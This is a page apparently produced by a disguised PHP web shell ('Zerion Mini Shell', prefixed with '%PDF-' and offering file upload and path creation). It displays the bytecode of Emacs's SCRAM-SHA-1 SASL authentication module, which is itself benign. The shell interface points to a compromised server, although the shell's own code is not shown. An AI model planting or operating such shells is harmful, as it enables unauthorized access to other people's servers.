%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/share/emacs/27.2/lisp/net/
Upload File :
Create Path :
Current File : //usr/local/share/emacs/27.2/lisp/net/sasl-scram-rfc.elc

;ELC
;;; Compiled
;;; in Emacs version 27.2
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\300\302!\210\300\303!\210\300\304!\207" [require cl-lib sasl hex-util rfc2104] 2)
#@20 

(fn CLIENT STEP)
(defalias 'sasl-scram-client-first-message #[514 "\300 \301\302#\266\303\304!P\207" [sasl-unique-id sasl-client-set-property c-nonce "n,," sasl-scram--client-first-message-bare] 7 (#$ . 516)])
#@15 

(fn CLIENT)
(defalias 'sasl-scram--client-first-message-bare #[257 "\300\301\"\302\303!\304R\207" [sasl-client-property c-nonce "n=" sasl-client-name ",r="] 6 (#$ . 738)])
#@54 

(fn HASH-FUN BLOCK-LENGTH HASH-LENGTH CLIENT STEP)
(defalias 'sasl-scram--client-final-message #[1285 "\300\301\302!\"\204
\303\304!\210\305\302!\306\307\"\306\310\"\311\306\312\"!\313\314\"\315\316\"\2041\303\317!\210\320\321!\322R\323\324\325\326\327!!\330!#!\331!\211\332\333\211\211\307$P\334\333\211W\203\210\211%\262\204v\202~\335\332\336$\262\210\211T\262\202X\211\262\266\202\266\202\n\337%\340!!\341!\342
\342	\260
\343\344\"%\335\332\336$\345\321!Q\346\347#\210\346\350	#\210\266\211\207" [string-match "^r=\\([^,]+\\),s=\\([^,]+\\),i=\\([0-9]+\\)\\(?:$\\|,\\)" sasl-step-data sasl-error "Unexpected server response" #[1285 "\300\301%!\207" [decode-hex-string rfc2104-hash] 12 "\n\n(fn HASH-FUN BLOCK-LENGTH HASH-LENGTH TEXT KEY)"] match-string 1 2 string-to-number 3 sasl-client-property c-nonce "n,," string-prefix-p "Invalid nonce from server" "c=" base64-encode-string ",r=" sasl-read-passphrase format "%s passphrase for %s: " sasl-mechanism-name sasl-client-mechanism sasl-client-name base64-decode-string string 0 nil cl-map logxor "Client Key" decode-hex-string sasl-scram--client-first-message-bare "," encode-coding-string utf-8 ",p=" sasl-client-set-property auth-message salted-password] 26 (#$ . 921)])
#@54 

(fn HASH-FUN BLOCK-LENGTH HASH-LENGTH CLIENT STEP)
(defalias 'sasl-scram--authenticate-server #[1285 "\300\301\302!\"\203\303\304\305\306\307\302!\"\"!\207\300\310\302!\"\203S\311\312\306\307\302!\"!\313\314\"\313\315\"			\316%\n\n\n\317\320\"%\211\230?\205R\303\321!\207\303\322!\207" [string-match "^e=\\([^,]+\\)" sasl-step-data sasl-error format "Server error: %s" match-string 1 "^v=\\([^,]+\\)" #[1285 "\300\301%!\207" [decode-hex-string rfc2104-hash] 12 "\n\n(fn HASH-FUN BLOCK-LENGTH HASH-LENGTH TEXT KEY)"] base64-decode-string sasl-client-property auth-message salted-password "Server Key" encode-coding-string utf-8 "Server not authenticated" "Invalid response from server"] 17 (#$ . 2254)])
(defconst sasl-scram-sha-1-steps '(sasl-scram-client-first-message sasl-scram-sha-1-client-final-message sasl-scram-sha-1-authenticate-server))
#@20 

(fn CLIENT STEP)
(defalias 'sasl-scram-sha-1-client-final-message #[514 "\300\301\302\303%\207" [sasl-scram--client-final-message sha1 64 20] 8 (#$ . 3142)])
#@20 

(fn CLIENT STEP)
(defalias 'sasl-scram-sha-1-authenticate-server #[514 "\300\301\302\303%\207" [sasl-scram--authenticate-server sha1 64 20] 8 (#$ . 3310)])
(byte-code "\301\302\303\304\305\"#\210\301\306\303\302\303N#\210\307\302!\210\307\306!\207" [sasl-scram-sha-1-steps put sasl-scram-sha-1 sasl-mechanism sasl-make-mechanism "SCRAM-SHA-1" sasl-scram-rfc provide] 6)

Zerion Mini Shell 1.0